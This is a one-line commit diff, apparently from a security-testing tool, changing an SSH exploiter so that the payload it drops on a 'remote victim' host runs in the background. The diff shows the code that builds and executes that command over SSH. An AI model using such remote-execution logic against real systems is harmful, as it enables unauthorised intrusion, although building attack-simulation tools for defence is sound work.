Improved SSH exploiter to run on the background

This commit is contained in:
VakarisZ 2020-04-08 16:04:27 +03:00
parent a74a7cc48f
commit a55812edbe
1 changed files with 1 additions and 1 deletions

View File

@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter):
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += " > /dev/null 2>&1"
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",